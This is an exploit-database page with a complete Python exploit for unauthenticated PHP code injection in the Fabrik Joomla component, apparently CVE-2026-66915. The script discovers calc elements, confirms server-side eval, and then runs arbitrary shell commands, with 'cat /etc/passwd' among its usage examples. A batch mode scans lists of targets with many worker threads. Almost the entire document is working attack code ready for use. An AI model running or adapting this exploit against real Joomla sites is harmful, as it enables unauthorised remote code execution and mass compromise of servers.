Sploitus

Exploit for πŸ“„ Joomla Fabrik 4.6.6 Remote Code Execution

packetstorm Β· 2026-08-11

Exploit Code

python505 lines
## https://sploitus.com/exploit?id=PACKETSTORM:228333
#!/usr/bin/env python3
    """
    CVE-2026-66915 - Fabrik calc element unauthenticated PHP code injection (RCE)
    Affected: Fabrik (Joomla component com_fabrik) 1.0.0 up to, not including, 4.6.7
    Type: RCE (CWE-94, PHP code injection into eval())
    
    The calc element plugin evaluates a site-defined formula with eval(). Its AJAX
    entry point onAjax_calc() substitutes request values into that formula through
    Worker::parseMessageForPlaceHolder() without the $addSlashes argument, so a
    request key whose name matches a {placeholder} in the stored formula is spliced
    into the evaluated PHP source verbatim. The dispatching controller
    FabrikControllerPlugin::pluginAjax() performs no token, session or ACL check, so
    a single unauthenticated POST reaches the eval.
    
    The payload lands in operand position inside "return <here> ...;", so it must be
    a PHP expression rather than a statement. This tool wraps every payload in
    parentheses to keep the surrounding formula's operators from binding into it.
    
    Usage:
      python exploit.py --host <target> --port <port>
      python exploit.py --host 192.168.1.10 --port 80 --command "uname -a"
      python exploit.py --host https://192.168.1.10:8443 --command "id"
      python exploit.py --host https://target.com/joomla --command "cat /etc/passwd"
      python exploit.py --host 192.168.1.10 --element-id 3 --form-id 1 --key site___qty
      python exploit.py --list targets.txt --workers 20
    """
    
    import argparse
    import base64
    import json
    import re
    import secrets
    import ssl
    import sys
    import urllib.error
    import urllib.request
    from urllib.parse import urlencode, urlparse
    
    CVE_ID    = "CVE-2026-66915"
    VULN_TYPE = "RCE"
    
    DEFAULT_PORT = 80
    UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
          "(KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36")
    
    # Fabrik element keys are <listname>___<elementname> with three underscores.
    RE_ELEMENT_KEY = re.compile(r'name="([A-Za-z0-9_]+___[A-Za-z0-9_]+)"')
    # The calc element publishes its own id and the placeholder names from the
    # stored formula in the inline JavaScript options object on any page that
    # renders the form: ["FbCalc","<fullname>",{...,"observe":[...],"id":"3"}]
    RE_CALC_OPTS = re.compile(r'\["FbCalc","([^"]+)",(\{[^{}]*\})\]')
    RE_FORMID    = re.compile(r'name="formid"\s+value="(\d+)"')
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # ---------------------------------------------------------------- transport
    
    def _base_url(host: str, port: int, use_tls: bool, path: str) -> str:
        scheme = "https" if use_tls else "http"
        hostpart = f"[{host}]" if ":" in host else host
        if (use_tls and port != 443) or (not use_tls and port != 80):
            hostpart = f"{hostpart}:{port}"
        root = (path or "/").rstrip("/")
        return f"{scheme}://{hostpart}{root}/index.php"
    
    
    def _http(url: str, body: str = None, timeout: float = 15.0) -> tuple:
        """GET or POST. Returns (status, text). Raises on transport failure."""
        data = body.encode() if body is not None else None
        headers = {"User-Agent": UA, "Accept": "*/*"}
        if data is not None:
            headers["Content-Type"] = "application/x-www-form-urlencoded"
        req = urllib.request.Request(url, data=data, headers=headers)
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        try:
            with urllib.request.urlopen(req, timeout=timeout, context=ctx) as r:
                return r.getcode(), r.read().decode("utf-8", "replace")
        except urllib.error.HTTPError as e:
            return e.code, e.read().decode("utf-8", "replace")
    
    
    # ---------------------------------------------------------------- payloads
    
    def _ajax_body(form_id: int, element_id: int, key: str, value: str) -> str:
        """Routing parameters for the unauthenticated calc AJAX endpoint."""
        base = key[:-4] if key.endswith("_raw") else key
        fields = [
            ("option", "com_fabrik"),
            ("format", "raw"),
            ("task", "plugin.pluginAjax"),
            ("plugin", "calc"),
            ("g", "element"),
            ("method", "ajax_calc"),
            ("repeatCounter", "0"),
            ("formid", str(form_id)),
            ("element_id", str(element_id)),
            # Send the plain key and the _raw key with the same value.
            # swapValuesForLabels() and setStoreDatabaseFormat() rewrite the plain
            # key but never touch a _raw key that is already present, so the _raw
            # form is what reaches eval() intact.
            (base, value),
            (base + "_raw", value),
        ]
        return urlencode(fields)
    
    
    def _command_payloads(command: str, marker: str) -> list:
        """
        Expression-position command payloads, most reliable first.
    
        Every marked variant emits marker + command output + marker through a
        single print(), so the output can be recovered exactly even though the
        formula's own return value is echoed afterwards. passthru() writes past
        PHP's output buffering, so its output cannot be bracketed and that variant
        returns the whole response body instead.
        """
        b64 = base64.b64encode(command.encode()).decode()
        dec = "base64_decode('%s')" % b64
        return [
            ("shell_exec", True,
             "(print('{m}'.@shell_exec({d}).'{m}'))".format(m=marker, d=dec)),
            ("popen", True,
             "(print('{m}'.@stream_get_contents(@popen({d},'r')).'{m}'))".format(m=marker, d=dec)),
            ("exec", True,
             "(print('{m}'.(@exec({d}, $z)!==false ? @implode(chr(10), $z) : '').'{m}'))".format(m=marker, d=dec)),
            ("passthru", False,
             "(@passthru({d}))".format(d=dec)),
        ]
    
    
    def _extract(body: str, marker: str) -> str:
        start = body.find(marker)
        if start < 0:
            return ""
        start += len(marker)
        end = body.find(marker, start)
        return body[start:end] if end >= 0 else body[start:]
    
    
    # ---------------------------------------------------------------- discovery
    
    def _discover(url: str, max_id: int, timeout: float) -> tuple:
        """
        Walk small form ids and read the rendered form pages.
    
        Returns (candidates, keys_seen, reachable). A candidate is a
        (form_id, element_id, [placeholder keys]) triple built from the calc
        element's own JavaScript options: "id" is the element id and "observe"
        lists the placeholder names from the stored formula.
        """
        candidates = []
        keys_seen = []
        reachable = False
        for form_id in range(1, max_id + 1):
            page_url = url + "?" + urlencode([
                ("option", "com_fabrik"), ("view", "form"), ("formid", str(form_id))
            ])
            try:
                status, body = _http(page_url, timeout=timeout)
                reachable = True
            except Exception:
                continue
            if status != 200 or "FbCalc" not in body:
                continue
    
            page_keys = []
            for k in RE_ELEMENT_KEY.findall(body):
                if k not in page_keys:
                    page_keys.append(k)
            for k in page_keys:
                if k not in keys_seen:
                    keys_seen.append(k)
    
            m = RE_FORMID.search(body)
            real_form_id = int(m.group(1)) if m else form_id
    
            for fullname, opts_json in RE_CALC_OPTS.findall(body):
                try:
                    opts = json.loads(opts_json)
                except ValueError:
                    continue
                try:
                    element_id = int(opts.get("id"))
                except (TypeError, ValueError):
                    continue
                observed = [o for o in (opts.get("observe") or []) if o]
                if observed:
                    keys = list(observed)
                else:
                    # calc_ajax disabled: the observe array is empty, so fall back
                    # to every element key on the page except the calc element's own.
                    keys = [k for k in page_keys if k != fullname]
                if keys:
                    candidates.append((real_form_id, element_id, keys))
        return candidates, keys_seen, reachable
    
    
    def _probe(url: str, form_id: int, element_id: int, key: str, timeout: float) -> bool:
        """
        Prove PHP evaluation without touching the filesystem or spawning a process.
    
        The expected value is the product of two random factors, so it appears in
        neither the request nor any static page: only evaluation can produce it.
        """
        a = secrets.randbelow(4000) + 4000
        b = secrets.randbelow(4000) + 4000
        payload = "(print(%d*%d))" % (a, b)
        body = _ajax_body(form_id, element_id, key, payload)
        try:
            status, text = _http(url, body=body, timeout=timeout)
        except Exception:
            return False
        return status == 200 and str(a * b) in text
    
    
    def _formula_tail(url: str, form_id: int, element_id: int, key: str,
                      timeout: float) -> str:
        """Response body for a payload that evaluates to null and prints nothing."""
        body = _ajax_body(form_id, element_id, key, "(NULL)")
        try:
            status, text = _http(url, body=body, timeout=timeout)
        except Exception:
            return ""
        return text if status == 200 else ""
    
    
    def _run_command(url: str, form_id: int, element_id: int, key: str,
                     command: str, timeout: float) -> tuple:
        """Returns (sink_name, output) for the first sink that yields output."""
        marker = secrets.token_hex(6)
        for name, marked, payload in _command_payloads(command, marker):
            body = _ajax_body(form_id, element_id, key, payload)
            try:
                status, text = _http(url, body=body, timeout=timeout)
            except Exception:
                continue
            if status != 200:
                continue
            if marked:
                out = _extract(text, marker)
            else:
                # Unmarked variant: passthru() writes past PHP's output buffering,
                # so the body is the command output followed by whatever the
                # formula echoes. Both payloads evaluate to null, so a control
                # request with a bare null gives that trailing text exactly.
                out = text
                tail = _formula_tail(url, form_id, element_id, key, timeout)
                if tail and out.endswith(tail):
                    out = out[:-len(tail)]
            if out.strip():
                return name, out
        return None, ""
    
    
    # ---------------------------------------------------------------- scan mode
    
    def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
                     command: str = "id", max_id: int = 10, timeout: float = 15.0,
                     element_id: int = None, form_id: int = None,
                     key: str = None) -> tuple:
        """Silent probe for --list scan mode. Returns (success, evidence)."""
        url = _base_url(host, port, use_tls, path)
        try:
            if element_id and form_id and key:
                targets = [(form_id, element_id, [key])]
                keys_seen = [key]
            else:
                targets, keys_seen, reachable = _discover(url, max_id, timeout)
                if not targets:
                    # No form page rendered: walk small element ids against every
                    # key name seen, or nothing at all if none were found.
                    if not keys_seen:
                        if not reachable:
                            return False, "unreachable (no HTTP response)"
                        return False, "no Fabrik form page found"
                    targets = [(form_id or 1, e, keys_seen)
                               for e in range(1, max_id + 1)]
    
            hit = None
            for fid, eid, keys in targets:
                for k in keys:
                    if _probe(url, fid, eid, k, timeout):
                        hit = (fid, eid, k)
                        break
                if hit:
                    break
            if not hit:
                return False, "calc AJAX endpoint did not evaluate injected PHP"
    
            fid, eid, k = hit
            sink, out = _run_command(url, fid, eid, k, command, timeout)
            if out.strip():
                first = out.strip().splitlines()[0][:120]
                return True, f"element {eid} via {k} -> {first}"
            return True, (f"code evaluation confirmed on element {eid} via {k}; "
                          "no command sink returned output")
        except Exception as e:
            return False, f"unreachable ({e.__class__.__name__})"
    
    
    def _parse_target(line: str, default_port: int, default_path: str = "/"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
        """Batch scan from file."""
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port, kwargs.get("path", "/")) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            ok, evidence = _try_exploit(host, port, use_tls, path,
                                        command=kwargs.get("command", "id"),
                                        max_id=kwargs.get("max_id", 10),
                                        timeout=kwargs.get("timeout", 15.0),
                                        element_id=kwargs.get("element_id"),
                                        form_id=kwargs.get("form_id"),
                                        key=kwargs.get("key"))
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - "
                      f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / "
              f"{total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # ---------------------------------------------------------------- main path
    
    def exploit(host: str, port: int, use_tls: bool, path: str, command: str,
                element_id: int, form_id: int, key: str, max_id: int,
                timeout: float) -> None:
        header(host, port)
        url = _base_url(host, port, use_tls, path)
    
        if element_id and form_id and key:
            step(1, f"Using supplied target: form {form_id}, element {element_id}, key '{key}'")
            targets = [(form_id, element_id, [key])]
        else:
            step(1, f"Enumerating calc elements from rendered form pages (form ids 1-{max_id})...")
            targets, keys_seen, reachable = _discover(url, max_id, timeout)
            if targets:
                listing = "\n".join(
                    f"form {f}  element_id {e}  placeholder keys: {', '.join(k)}"
                    for f, e, k in targets)
                section("CALC ELEMENTS DISCOVERED", listing)
            else:
                if not keys_seen:
                    if not reachable:
                        section("SERVER RESPONSE", "No HTTP response from the target")
                        done(False, "Target did not answer - check host, port and --path")
                    section("SERVER RESPONSE",
                            "No Fabrik form page rendered for form ids 1-%d" % max_id)
                    done(False, "No Fabrik calc element found - supply --form-id, "
                                "--element-id and --key, or raise --max-id")
                print(f"[STEP 1] No calc options in page JS; walking element ids "
                      f"1-{max_id} against {len(keys_seen)} known element keys")
                targets = [(form_id or 1, e, keys_seen) for e in range(1, max_id + 1)]
    
        step(2, "Probing the unauthenticated calc AJAX endpoint with an arithmetic expression...")
        hit = None
        for fid, eid, keys in targets:
            for k in keys:
                if _probe(url, fid, eid, k, timeout):
                    hit = (fid, eid, k)
                    break
            if hit:
                break
    
        if not hit:
            section("SERVER RESPONSE",
                    "Arithmetic probe did not evaluate on any candidate element. "
                    "The endpoint answered but injected PHP was not executed.")
            done(False, "Payload sent but no code evaluation observed - target may be patched")
    
        fid, eid, k = hit
        section("CODE EVALUATION CONFIRMED",
                f"form {fid}, element_id {eid}, injection key '{k}'\n"
                f"An injected arithmetic expression was evaluated server side, "
                f"unauthenticated, and its product returned in the response body.")
    
        step(3, f"Executing command: {command}")
        sink, out = _run_command(url, fid, eid, k, command, timeout)
        if not out.strip():
            section("SERVER RESPONSE",
                    "Code evaluation works but no command sink produced output. "
                    "shell_exec, popen, exec and passthru may all be listed in "
                    "disable_functions on this host.")
            done(False, f"PHP code execution confirmed on element {eid} via '{k}', "
                        f"but command output could not be retrieved")
    
        section("COMMAND OUTPUT", out)
        first = out.strip().splitlines()[0]
        done(True, f"Unauthenticated RCE - command '{command}' executed via {sink}() "
                   f"on element {eid} (key '{k}'): {first.strip()}")
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                               "(e.g. https://host:8443/joomla)")
        target_grp.add_argument("--list", metavar="FILE",
                                help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                            help=f"Default port (default: {DEFAULT_PORT})")
        parser.add_argument("--command", default="id",
                            help="Command to execute (default: id)")
        parser.add_argument("--path", default="/",
                            help="Joomla base path when not given in --host (default: /)")
        parser.add_argument("--element-id", type=int, default=None,
                            help="Calc element id, skips enumeration")
        parser.add_argument("--form-id", type=int, default=None,
                            help="Fabrik form id, skips enumeration")
        parser.add_argument("--key", default=None,
                            help="Injection key, the placeholder name from the stored "
                                 "formula, e.g. mylist___qty")
        parser.add_argument("--max-id", type=int, default=10,
                            help="Highest form/element id to walk when enumerating (default: 10)")
        parser.add_argument("--timeout", type=float, default=15.0,
                            help="Per-request timeout in seconds (default: 15)")
        parser.add_argument("--workers", type=int, default=10,
                            help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers,
                 command=args.command, path=args.path, max_id=args.max_id,
                 timeout=args.timeout, element_id=args.element_id,
                 form_id=args.form_id, key=args.key)
        else:
            parsed = _parse_target(args.host, args.port, args.path)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.path)
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, path, args.command, args.element_id,
                    args.form_id, args.key, args.max_id, args.timeout)